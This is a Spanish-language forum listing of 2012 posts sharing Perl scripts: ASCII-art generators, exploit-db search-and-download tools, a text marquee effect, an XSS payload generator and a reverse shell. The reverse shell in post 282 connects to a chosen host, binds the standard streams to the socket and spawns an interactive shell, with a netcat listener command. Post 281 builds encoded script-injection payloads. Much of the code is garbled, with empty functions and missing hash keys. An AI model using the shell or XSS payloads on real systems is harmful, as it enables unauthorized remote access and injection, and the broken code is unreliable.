|
281
|
Programación / Scripting / [Perl] XSS Generator 0.2
|
en: 9 Octubre 2012, 03:21 am
|
Cortisimo pero util script xDD. #!usr/bin/perl #XSS Generator 0.2 #Coded By Doddy H head(); print "\n[+] Enter the code : "; $code = <STDIN>; if ( $code ne "" ) { print "\n\n[XSS] : <script>var code =String.fromCharCode(" . encode($code) . "); document.write(code);</script>\n"; } copyright(); sub head { print "\n\n-- == XSS Generator 0.2 == --\n\n"; } sub copyright { print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n"; <stdin>; } sub encode { } #The End ?
|
|
|
282
|
Programación / Scripting / [Perl] Reverse Shell 0.2
|
en: 9 Octubre 2012, 03:05 am
|
Version mejorada de este script. #!usr/bin/perl #Reverse Shell 0.2 #Coded By Doddy H #Command : nc -lvvp 666 use IO::Socket; print "\n== -- Reverse Shell 0.2 - Doddy H 2012 -- ==\n\n"; unless ( @ARGV == 2 ) { print "[Sintax] : $0 <host> <port>\n\n"; } else { print "[+] Starting the connection\n"; print "[+] Enter in the system\n"; print "[+] Enjoy !!!\n\n"; conectar( $ARGV[0], $ARGV[1] ); tipo(); } sub conectar { connect( REVERSE , sockaddr_in ( $_[1], inet_aton ( $_[0] ) ) ); open( STDIN, ">&REVERSE" ); open( STDOUT, ">&REVERSE" ); open( STDERR, ">&REVERSE" ); } sub tipo { print "\n[+] Reverse Shell Starting...\n\n"; if ( $^O =~ /Win32/ig ) { infowin(); } else { infolinux(); system("export TERM=xterm;exec sh -i"); } } sub infowin { print "[+] Domain Name : " . Win32 ::DomainName() . "\n"; print "[+] OS Version : " . Win32 ::GetOSName() . "\n"; print "[+] Username : " . Win32 ::LoginName() . "\n\n\n"; } sub infolinux { print "[+] System information\n\n"; } #The End ?
|
|
|
283
|
Programación / Scripting / [Perl Tk] ASCII Art 0.2
|
en: 5 Octubre 2012, 00:30 am
|
Version Tk de esta nueva version de este script para hacer ascii art desde una palabra. Una imagen El codigo #!usr/bin/perl #ASCII Art 0.2 #Version Tk #Coded By Doddy H # #http://search.cpan.org/~lory/Text-Banner-1.00/Banner.pm # use Tk; use Tk::Dialog; use Text::Banner; #if ( $^O eq 'MSWin32' ) { #use Win32::Console; #Win32::Console::Free(); #} my $color_fondo = "black"; my $color_texto = "green"; my $ven = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $ven->title("ASCII Art 0.2 || Written By Doddy H"); $ven->geometry("555x305+20+20"); $ven->resizable( 0, 0 ); my $start = Text::Banner->new; $menula = $ven->Frame( -relief => "sunken", -bd => 1, -background => $color_fondo, -foreground => $color_texto ); my $menulnowaxm = $menula->Menubutton( -text => "Options", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $aboutnowaxm = $menula->Menubutton( -text => "About", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $exitnowaxm = $menula->Menubutton( -text => "Exit", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); $menula->pack( -side => "top", -fill => "x" ); $menulnowaxm->command( -label => "Scan", -background => $color_fondo, -foreground => $color_texto, -command => \&now ); $aboutnowaxm->command( -label => "About", -background => $color_fondo, -foreground => $color_texto, -command => \&about ); $exitnowaxm->command( -label => "Exit", -background => $color_fondo, -foreground => $color_texto, -command => \&exitnow ); my $fondo = $ven->Text( -width => 75, -heigh => 15, -background => $color_fondo, -foreground => $color_texto )->place( -x => 12, -y => 40 ); $ven->Label( -text => "Text : ", -font => "Impact1", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 265 ); my $tengo = $ven->Entry( -width => 40, -background => $color_fondo, -foreground => $color_texto )->place( -x => 66, -y => 269 ); $ven->Label( -text => "Fill : ", -font => "Impact1", -background => $color_fondo, -foreground => $color_texto )->place( -x => 340, -y => 265 ); my $fi = $ven->Entry( -width => 5, -background => $color_fondo, -foreground => $color_texto )->place( -x => 375, -y => 269 ); MainLoop; sub about { $ven->Dialog( -title => "About", -buttons => ["OK"], -text => "Coded By Doddy H", -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->Show(); } sub exitnow { } sub artnow { $start->set( $tengo->get ); $start->fill( $fi->get ); } sub now { $fondo->delete( "0.1", "end" ); my $now = $tengo->get; my $code = artnow($now); $fondo->insert( "end", $code ); } #The End ?
|
|
|
284
|
Programación / Scripting / [Perl] ASCII Art 0.2
|
en: 5 Octubre 2012, 00:29 am
|
Una posible version mejorada de este script para hacer ascii art desde una palabra. El codigo #!usr/bin/perl #ASCII Art 0.2 #Coded By Doddy H # #http://search.cpan.org/~lory/Text-Banner-1.00/Banner.pm # use Text::Banner; use Time::HiRes "usleep"; my $start = Text::Banner->new; sub head { my @logo = ( "#=============================================#", "\n", "# ASCII Art 0.2 #", "\n", "#---------------------------------------------#", "\n", "# Written By Doddy H #", "\n", "# Email: lepuke[at]hotmail[com] #", "\n", "# Website: doddyhackman.webcindario.com #", "\n", "#---------------------------------------------#", "\n", "# The End ? #", "\n", "#=============================================#", "\n" ); marquesina(@logo); } head(); chomp( my $text = <stdin> ); chomp( my $fill = <stdin> ); print "\n\n\n" . artnow ( $text, $fill ) . "\n"; copyright(); sub artnow { $start->set( $_[0] ); $start->fill( $_[1] ); } sub marquesina { #Effect based in the exploits by Jafer Al Zidjali my @logo = @_; my $car = "|"; for my $uno (@logo) { for my $dos ( split //, $uno ) { $|++; if ( $car eq "|" ) { mostrar( "\b" . $dos . $car, "/" ); } elsif ( $car eq "/" ) { mostrar( "\b" . $dos . $car, "-" ); } elsif ( $car eq "-" ) { mostrar( "\b" . $dos . $car, "\\" ); } else { mostrar( "\b" . $dos . $car, "|" ); } usleep(40_000); } } sub mostrar { $car = $_[1]; } } sub copyright { marquesina("-- == (C) Doddy Hackman 2012 == --"); <stdin>; } #The End ?
Un ejemplo de uso
r00t ~ # art2.pl
#=============================================# # ASCII Art 0.2 # #---------------------------------------------# # Written By Doddy H # # Email: lepuke[at]hotmail[com] # # Website: doddyhackman.webcindario.com # #---------------------------------------------# # The End ? # #=============================================#
[+] Text : hacked
[+] Fill : #
# # ## #### # # ###### ##### # # # # # # # # # # # ###### # # # #### ##### # # # # ###### # # # # # # # # # # # # # # # # # # # # # #### # # ###### #####
-- == (C) Doddy Hackman 2012 == --
|
|
|
285
|
Programación / Scripting / Re: [Perl Tk] ASCII Art 0.1
|
en: 3 Octubre 2012, 01:44 am
|
quizas para la version 0.3 porque para la 0.2 tenia pensado usar un modulo de cpan que me ahorra hacer ese hash infernal aunque el estilo del modulo ese no sea tan bueno como el de este script.
|
|
|
286
|
Programación / Scripting / [Perl Tk] ASCII Art 0.1
|
en: 3 Octubre 2012, 01:14 am
|
Version Tk de este simple script para hacer ASCII Art desde una palabra. El codigo #!usr/bin/perl #ASCII Art 0.1 #Version Tk #Coded By Doddy H #Thanks to : reLlene,MARKO,explorer use Tk; use Tk::Dialog; use List::Util "max"; if ( $^O eq 'MSWin32' ) { use Win32::Console; Win32::Console::Free(); } my %letras = ( a => " @ @ @ @ @ @ @ @ @ @ @@@@@ @ @ @ @ ", b => " @@@@ @ @ @ @ @ @ @@@@ @ @ @ @ @ @ @@@@ ", c => " @@@@ @ @ @ @ @ @ @ @ @ @@@@ ", d => " @@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ ", e => " @@@@@ @ @ @ @@@@ @ @ @ @@@@@ ", f => " @@@@@ @ @ @ @@@@ @ @ @ @ ", g => " @@@@ @ @ @ @ @ @@@ @ @ @ @ @ @@ @@@ @ ", h => " @ @ @ @ @ @ @ @ @@@@@@ @ @ @ @ @ @ @ @ ", i => " @ @ @ @ @ @ @ @ @ ", j => " @ @ @ @ @ @ @ @ @ @ @@ ", k => " @ @ @ @ @ @ @@ @@ @ @ @ @ @ @ @ @ ", l => " @ @ @ @ @ @ @ @ @@@@@ ", @ @ @ @ @@ @@ @@ @@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ ", n => " @ @ @@ @ @@ @ @ @ @ @ @ @ @ @ @ @ @@ @ @@ @ @ ", o => " @@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ ", p => " @@@@@ @ @ @ @ @ @ @@@@@ @ @ @ @ ", @@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@ @@@@ @ ", r => " @@@@@ @ @ @ @ @ @ @@@@@ @ @ @ @ @ @ @ @ ", @@@ @ @ @ @ @@@ @ @ @ @ @@@ ", t => " @@@@@ @ @ @ @ @ @ @ @ ", u => " @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ ", v => " @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ ", W => " @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ ", x => " @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ ", @ @ @ @ @ @ @ @ @ @ @ @ @ ", z => " @@@@@@@ @ @ @ @ @ @ @ @@@@@@@ " ); my $color_fondo = "black"; my $color_texto = "green"; my $ven = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $ven->title("ASCII Art 0.1 || Written By Doddy H"); $ven->geometry("555x300+20+20"); $ven->resizable( 0, 0 ); my $fondo = $ven->Text( -width => 75, -heigh => 15, -background => $color_fondo, -foreground => $color_texto )->place( -x => 15, -y => 10 ); $ven->Label( -text => "Text : ", -font => "Impact1", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 250 ); my $tengo = $ven->Entry( -width => 40, -background => $color_fondo, -foreground => $color_texto )->place( -x => 66, -y => 254 ); $ven->Button( -command => \&now, -text => "Now!", -width => 10, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->place( -x => 320, -y => 252 ); $ven->Button( -command => \&about, -text => "About", -width => 10, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->place( -x => 395, -y => 252 ); $ven->Button( -command => \&exitnow, -text => "Exit", -width => 10, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->place( -x => 470, -y => 252 ); MainLoop; sub about { $ven->Dialog( -title => "About", -buttons => ["OK"], -text => "Coded By Doddy H", -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->Show(); } sub exitnow { } sub now { $fondo->delete( "0.1", "end" ); my $now = $tengo->get; my $code = artnow($now); $fondo->insert( "end", $code ); } sub artnow { my $fondo = " "; my $espacio = 0; my $lugar; my @lotengo; my $tipox = $letras{"a"}; my @lineas = split /\n/, $tipox; $altura = @lineas + 1; for ( 1 .. $altura ) { push @lotengo, $fondo x ( ( $anchura + $espacio ) * length $target ); } for my $letra ( split //, $target ) { my @lineas = split /\n/, $letras{$letra}; for my $i ( 0 .. $altura - 1 ) { ( my $plan = $lineas[$i] ) =~ s/ /$fondo/g; $plan = $fondo x $anchura if not $plan; } $lugar += $anchura + $espacio; } } #The End ?
Una imagen
|
|
|
287
|
Programación / Scripting / [Perl] ASCII Art 0.1
|
en: 3 Octubre 2012, 01:14 am
|
Sin mucho que decir dejo este simple script para hacer ascii art desde una palabra. El codigo #!usr/bin/perl #ASCII Art 0.1 #Coded By Doddy H use List::Util "max"; use Time::HiRes "usleep"; my %letras = ( a => " @ @ @ @ @ @ @ @ @ @ @@@@@ @ @ @ @ ", b => " @@@@ @ @ @ @ @ @ @@@@ @ @ @ @ @ @ @@@@ ", c => " @@@@ @ @ @ @ @ @ @ @ @ @@@@ ", d => " @@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ ", e => " @@@@@ @ @ @ @@@@ @ @ @ @@@@@ ", f => " @@@@@ @ @ @ @@@@ @ @ @ @ ", g => " @@@@ @ @ @ @ @ @@@ @ @ @ @ @ @@ @@@ @ ", h => " @ @ @ @ @ @ @ @ @@@@@@ @ @ @ @ @ @ @ @ ", i => " @ @ @ @ @ @ @ @ @ ", j => " @ @ @ @ @ @ @ @ @ @ @@ ", k => " @ @ @ @ @ @ @@ @@ @ @ @ @ @ @ @ @ ", l => " @ @ @ @ @ @ @ @ @@@@@ ", @ @ @ @ @@ @@ @@ @@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ ", n => " @ @ @@ @ @@ @ @ @ @ @ @ @ @ @ @ @ @@ @ @@ @ @ ", o => " @@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ ", p => " @@@@@ @ @ @ @ @ @ @@@@@ @ @ @ @ ", @@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@ @@@@ @ ", r => " @@@@@ @ @ @ @ @ @ @@@@@ @ @ @ @ @ @ @ @ ", @@@ @ @ @ @ @@@ @ @ @ @ @@@ ", t => " @@@@@ @ @ @ @ @ @ @ @ ", u => " @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ ", v => " @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ ", W => " @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ ", x => " @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ ", @ @ @ @ @ @ @ @ @ @ @ @ @ ", z => " @@@@@@@ @ @ @ @ @ @ @ @@@@@@@ " ); head(); chomp( my $text = <stdin> ); print "\n\n" . artnow ($text) . "\n"; copyright(); sub artnow { my $fondo = " "; my $espacio = 0; my $lugar; my @lotengo; my $tipox = $letras{"a"}; my @lineas = split /\n/, $tipox; $altura = @lineas + 1; for ( 1 .. $altura ) { push @lotengo, $fondo x ( ( $anchura + $espacio ) * length $target ); } for my $letra ( split //, $target ) { my @lineas = split /\n/, $letras{$letra}; for my $i ( 0 .. $altura - 1 ) { ( my $plan = $lineas[$i] ) =~ s/ /$fondo/g; $plan = $fondo x $anchura if not $plan; } $lugar += $anchura + $espacio; } } sub head { my @logo = ( "#=============================================#", "\n", "# ASCII Art 0.1 #", "\n", "#---------------------------------------------#", "\n", "# Written By Doddy H #", "\n", "# Email: lepuke[at]hotmail[com] #", "\n", "# Website: doddyhackman.webcindario.com #", "\n", "#---------------------------------------------#", "\n", "# Thanks to : reLlene,MARKO,explorer #", "\n", "# The End ? #", "\n", "#=============================================#", "\n" ); marquesina(@logo); } sub marquesina { #Effect based in the exploits by Jafer Al Zidjali my @logo = @_; my $car = "|"; for my $uno (@logo) { for my $dos ( split //, $uno ) { $|++; if ( $car eq "|" ) { mostrar( "\b" . $dos . $car, "/" ); } elsif ( $car eq "/" ) { mostrar( "\b" . $dos . $car, "-" ); } elsif ( $car eq "-" ) { mostrar( "\b" . $dos . $car, "\\" ); } else { mostrar( "\b" . $dos . $car, "|" ); } usleep(40_000); } } sub mostrar { $car = $_[1]; } } sub copyright { marquesina("-- == (C) Doddy Hackman 2012 == --"); <stdin>; } #The End ?
Ejemplo de uso r00t ~ # art.pl
#=============================================# # ASCII Art 0.1 # #---------------------------------------------# # Written By Doddy H # # Email: lepuke[at]hotmail[com] # # Website: doddyhackman.webcindario.com # #---------------------------------------------# # Thanks to : reLlene,MARKO,explorer # # The End ? # #=============================================#
[+] Text : kacked
@ @ @ @@@@ @ @ @@@@@ @@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @@ @ @ @ @@ @ @ @ @@ @@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ @ @ @@@@@ @@@@
-- == (C) Doddy Hackman 2012 == --
|
|
|
288
|
Programación / Scripting / [Perl Tk] Exploit DB Helper 0.5
|
en: 30 Septiembre 2012, 19:34 pm
|
Version Tk de esta tool para bajar exploits desde exploit-db Una imagen El codigo #!usr/bin/perl #Exploit DB Helper 0.5 #Version Tk #Coded By Doddy H use Tk; use Tk::Dialog; use LWP::UserAgent; use Cwd; my $nave = LWP::UserAgent->new(); $nave->timeout(5); $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); #if ($^O eq 'MSWin32') { #use Win32::Console; #Win32::Console::Free(); #} my $color_texto = "yellow"; my $color_fondo = "black"; my $newdaxz = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $newdaxz->title("Exploit DB Helper 0.5"); $newdaxz->geometry("345x350+50+50"); $newdaxz->resizable( 0, 0 ); $menula = $newdaxz->Frame( -relief => "sunken", -bd => 1, -background => $color_fondo, -foreground => $color_texto ); my $menulnowaxm = $menula->Menubutton( -text => "Options", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $aboutnowaxm = $menula->Menubutton( -text => "About", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $exitnowaxm = $menula->Menubutton( -text => "Exit", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); $menula->pack( -side => "top", -fill => "x" ); $menulnowaxm->command( -label => "Find", -background => $color_fondo, -foreground => $color_texto, -command => \&findnow ); $menulnowaxm->command( -label => "Logs", -background => $color_fondo, -foreground => $color_texto, -command => \&openlogs ); $aboutnowaxm->command( -label => "About", -background => $color_fondo, -foreground => $color_texto, -command => \&aboutxa ); $exitnowaxm->command( -label => "Exit", -background => $color_fondo, -foreground => $color_texto, -command => \&exitnow ); $newdaxz->Label( -text => "String : ", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 40 ); my $string = $newdaxz->Entry( -width => 40, -background => $color_fondo, -foreground => $color_texto )->place( -x => 75, -y => 45 ); $newdaxz->Label( -text => "Exploits Found", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -x => 120, -y => 80 ); my $exploits = $newdaxz->Listbox( -width => 40, -height => 10, -background => $color_fondo, -foreground => $color_texto )->place( -x => 50, -y => 130 ); $newdaxz->Label( -text => "Status : ", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -x => 63, -y => 300 ); my $tatus = $newdaxz->Entry( -width => 25, -background => $color_fondo, -foreground => $color_texto )->place( -x => 120, -y => 305 ); MainLoop; sub openlogs { my $cosa = $string->get; if ( -d $cosa ) { } else { $newdaxz->Dialog( -title => "Error", -buttons => ["OK"], -text => "Error", -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->Show(); } } sub findnow { $exploits->delete( "0.0", "end" ); my $cosa = $string->get; $tatus->configure( -text => "Searching ..." ); my %found = buscar($cosa); $tatus->configure( -text => "$total exploits found" ); unless ( -d $cosa ) { } $tatus->configure( -text => "Downloading exploits ..." ); for my $da ( keys %found ) { my $tata = $da; $tata =~ s/\<//; $tata =~ s/(\s)+$//; if ( download( $found{$da}, $cosa . "/" . $tata . ".txt" ) ) { $newdaxz->update; $exploits->insert( "end", $da ); } } $tatus->configure( -text => " " ); } sub buscar { for my $n ( 1 .. 666 ) { $newdaxz->update; my $code = toma( "http://www.exploit-db.com/search/?action=search&filter_page=" . $n . "&filter_description=" . $_[0] . "&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=" ); if ( $code =~ /No results/ig ) { } %busca = getlinks($code); } } sub getlinks { my $test = HTML::Parser->new( start_h => [ \&start, "tagname,attr" ], text_h => [ \&text, "dtext" ], ); $test->parse( $_[0] ); sub start { my ( $a, $b ) = @_; my %e = %$b; unless ( $a ne "a" ) { $d = $e{href}; $c = $a; } } sub text { unless ( $c ne "a" ) { if ( $d =~ /www.exploit-db.com\/exploits\/(.*)/ ) { my $id = $1; my $url = "http://www.exploit-db.com/download/" . $id; $links{$title} = $url; } $d = ""; } } } sub toma { return $nave->get( $_[0] )->content; } sub repes { my @limpio; foreach $test (@_) { push @limpio, $test unless $repe{$test}++; } } sub download { if ( $nave->mirror( $_[0], $_[1] ) ) { if ( -f $_[1] ) { } } } sub aboutxa { $newdaxz->Dialog( -title => "About", -buttons => ["OK"], -text => "Coded By Doddy H", -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->Show(); } sub exitnow { } #The End ?
|
|
|
289
|
Programación / Scripting / [Perl] Exploit DB Helper 0.5
|
en: 30 Septiembre 2012, 19:33 pm
|
Version mejorada de este script para buscar exploits en la pagina exploit-db #!usr/bin/perl #Exploit DB Helper 0.5 #Coded By Doddy H use LWP::UserAgent; use HTML::Parser; use Data::Dumper; use Time::HiRes "usleep"; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); $nave->timeout(5); head(); chomp( my $cosa = <stdin> ); if ( $cosa eq "" ) { menu(); } print "\n\n[+] Searching ...\n\n"; my %found = buscar($cosa); print "[+] Exploits Found : " . $total . "\n\n"; unless ( -d $cosa ) { } for my $da ( keys %found ) { my $tata = $da; $tata =~ s/\<//; $tata =~ s/(\s)+$//; if ( download( $found{$da}, $cosa . "/" . $tata . ".txt" ) ) { print "[Exploit Found] : " . $da . "\n"; } } copyright(); sub buscar { for my $n ( 1 .. 666 ) { my $code = toma( "http://www.exploit-db.com/search/?action=search&filter_page=" . $n . "&filter_description=" . $_[0] . "&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=" ); if ( $code =~ /No results/ig ) { } %busca = getlinks($code); } } sub getlinks { my $test = HTML::Parser->new( start_h => [ \&start, "tagname,attr" ], text_h => [ \&text, "dtext" ], ); $test->parse( $_[0] ); sub start { my ( $a, $b ) = @_; my %e = %$b; unless ( $a ne "a" ) { $d = $e{href}; $c = $a; } } sub text { unless ( $c ne "a" ) { if ( $d =~ /www.exploit-db.com\/exploits\/(.*)/ ) { my $id = $1; my $url = "http://www.exploit-db.com/download/" . $id; $links{$title} = $url; } $d = ""; } } } sub toma { return $nave->get( $_[0] )->content; } sub repes { my @limpio; foreach $test (@_) { push @limpio, $test unless $repe{$test}++; } } sub download { if ( $nave->mirror( $_[0], $_[1] ) ) { if ( -f $_[1] ) { } } } sub head { my @logo = ( "#=============================================#", "\n", "# Exploit DB 0.5 #", "\n", "#---------------------------------------------#", "\n", "# Written By Doddy H #", "\n", "# Email: lepuke[at]hotmail[com] #", "\n", "# Website: doddyhackman.webcindario.com #", "\n", "#---------------------------------------------#", "\n", "# The End ? #", "\n", "#=============================================#", "\n" ); marquesina(@logo); } sub marquesina { #Effect based in the exploits by Jafer Al Zidjali my @logo = @_; my $car = "|"; for my $uno (@logo) { for my $dos ( split //, $uno ) { $|++; if ( $car eq "|" ) { mostrar( "\b" . $dos . $car, "/" ); } elsif ( $car eq "/" ) { mostrar( "\b" . $dos . $car, "-" ); } elsif ( $car eq "-" ) { mostrar( "\b" . $dos . $car, "\\" ); } else { mostrar( "\b" . $dos . $car, "|" ); } usleep(40_000); } } sub mostrar { $car = $_[1]; } } sub copyright { marquesina("-- == (C) Doddy Hackman 2012 == --"); <stdin>; } #The End ?
|
|
|
290
|
Programación / Scripting / [Perl] Funcion marquesina()
|
en: 30 Septiembre 2012, 04:06 am
|
Desde que vi por primera vez este exploit en ruby siempre quise lograr el mismo efecto en perl , con la ayuda de explorer de perlenespanol logre hacer una funcion en perl que hace lo mismo que el exploit que mencione. El codigo con un ejemplo de uso incluido #!/usr/bin/perl #Funcion marquesina() #Coded By Doddy H use Time::HiRes "usleep"; my @test = ("testando ahora now"); sub marquesina { #Effect based in the exploits by Jafer Al Zidjali my @logo = @_; my $car = "|"; for my $uno(@logo) { for my $dos(split //,$uno) { $|++; if($car eq "|") { mostrar("\b".$dos.$car,"/"); } elsif($car eq "/") { mostrar("\b".$dos.$car,"-"); } elsif($car eq "-") { mostrar("\b".$dos.$car,"\\"); } else { mostrar("\b".$dos.$car,"|"); } usleep(40_000); } } sub mostrar { $car = $_[1]; } } marquesina(@test); #The End ?
|
|
|
|
|
|
|